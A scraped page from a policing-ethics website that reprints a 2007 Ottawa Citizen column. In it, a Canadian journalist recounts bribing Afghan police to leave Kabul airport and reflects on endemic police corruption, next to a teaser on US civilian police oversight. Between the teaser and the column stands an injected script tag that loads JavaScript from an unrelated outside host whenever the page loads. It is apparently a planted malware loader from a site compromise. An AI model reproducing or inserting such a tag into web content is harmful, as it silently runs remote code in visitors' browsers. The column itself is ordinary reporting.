Username:
 Password:
 

Are you not a member?
Register here
Forgot your password?
 
 
 
 
 
 



NEWS > 09 August 2007

Other related articles:

USA: Cities diverge in how the
The setting: a midsize city near Canada with Scandinavian roots and a reputation for clean government.

The allegation: The police chief is ignoring recommendations by a civilian watchdog agency about how to discipline wayward officers.

Critics say they have lost faith in the ability of the Police Department to police itself.

The city creates a task force that looks into the chief's handling of discipline.

While the scenario might appear to be straight from recent headlines in Seattle, the turmoil occurred last year in a city halfway across the countr... Read more

 Article sourced from

<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Ottawa Citizen - Ontario, Cana
09 August 2007
This article appeared in the above title/site.
To view it in its entirity click this link.


Afghan police corruption close

In the end, Afghan police performed as expected. They pocketed a couple more bribes to help this stranded columnist sneak through the Kabul airport without a proper exit visa while an officer resurfaced to partially justify the palm grease I slipped him a week ago.

After a final heart-stopping handing of a $50 bill to an officer checking passports at the boarding ramp of yet another jet, I finally escaped Afghanistan on Tuesday after a week of involuntary confinement due to paperwork confusion.

The nagging problem was a departure stamp on my visa showing I had left the country on a date when I was actually sweating with a platoon of soldiers in the middle of Kandahar province. I had - and still have - no explanation for the stamp, so I can't really blame the authorities for being suspicious.

But the picture-perfect proof of Afghanistan security corrupted to its core was on display in the junior police officer blocking access to the diplomatic entrance at 6 a.m. Tuesday. A billboard asking visitors to report anyone taking bribes was over his head.

And yet, he was full of promises and winks that left no doubt what he was seeking a salary subsidy from me as I languished for hours around the gate, watching yet another flight depart with my seat empty on a non-refundable ticket.

The way it was explained later by a U.S. army security whiz, is that all the "mentors" who monitor regular officers were off protecting Afghan President Hamid Karzai upon his return from a meeting with U.S. President George W. Bush, which meant it was a bonanza of a payoff payday.

Even on monitored days, police corruption is a serious problem here. They are loathed more than feared, and respected not a bit by the average Afghan.

It's hard to blame police for being susceptible to bribes given the average cop's $70-per-month salary, which is usually reduced as senior officers skim off pieces of the payroll on its way down the chain of command.

My little problem is but a paintbrush stroke in a much bigger picture, but when a Canadian journalist is cleared for takeoff after Canadian Ambassador Arif Lalani personally calls in favours and there's still a crooked cop blocking the exit with his hand out, one can only imagine what average Afghans encounter when they try to deal with their government.

Lalani - who I can say with openly declared bias is a top-notch ambassador with the perfect staff for any stranded Canadian to have in his corner - agrees there's a problem and sees a Canadian role in finding a solution.

He thinks Canada should work to better train police, improve their equipment and get their pay increased -- all areas under the mandate of the international security force.

But given how corruption seems both endemic and epidemic in Afghanistan, one wonders if improvement is not decades away.

Take the police captain who prevented me from catching my first flight Tuesday morning. By the afternoon, he was guiding me through the airport to passport control after pocketing a $50 bribe.

And the officer I slipped $150 to a week earlier when my problems first surfaced? He disappeared then, but recognized me instantly Tuesday and said something to passport officers that seemed to move things along.

During my involuntary stay in Kabul, many sympathizers have shared stories of palm grease being the only lubricant that works in dealing with the Karzai government.

The Canadian owner of a guest house says he has to bribe the power company to keep the lights on. He has no choice. If he was forced to depend on his generator for electricity, "my profits would disappear."

A businessman confided he has to constantly bribe government officials to keep his guns registered, which are critical when you're operating a security protection service.

Arguably, all this is just the Afghan way. But add up all the airline tickets sacrificed, the cost of hotels and fixers during the delay, the new visa application and the bribes, and my employers paid $4,000-plus for an improper stamp on an Afghanistan visa.

That's a stiff price for a business to deal with a mistake I would argue was mostly made by government employees.

Or course, the ultimate irony of my ordeal came after the final bribe when the door finally closed on a Dubai-bound jet and I let out a sigh of relief to be free of the place forever.

I turned on my iPod, hit the shuffle button and burst into laughter to strange looks from the guy beside me. A song came on I haven't heard in years - Supertramp's Take the Long Way Home.

And what a long strange trip it's been.

 

EiP Comments:

 


* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.


 
 
[about EiP] [membership] [information room] [library] [online shopping]
[EiP services] [contact information]
 
 
Policing Research 2010 EthicsinPolicing Limited. All rights reserved International Policing
privacy policy

site designed, maintained & hosted by
The Consultancy
Ethics in Policing, based in the UK, provide information and advice about the following:
Policing Research | Police News articles | Police Corruption | International Policing | Police Web Sites | Police Forum | Policing Ethics | Police Journals | Police Publications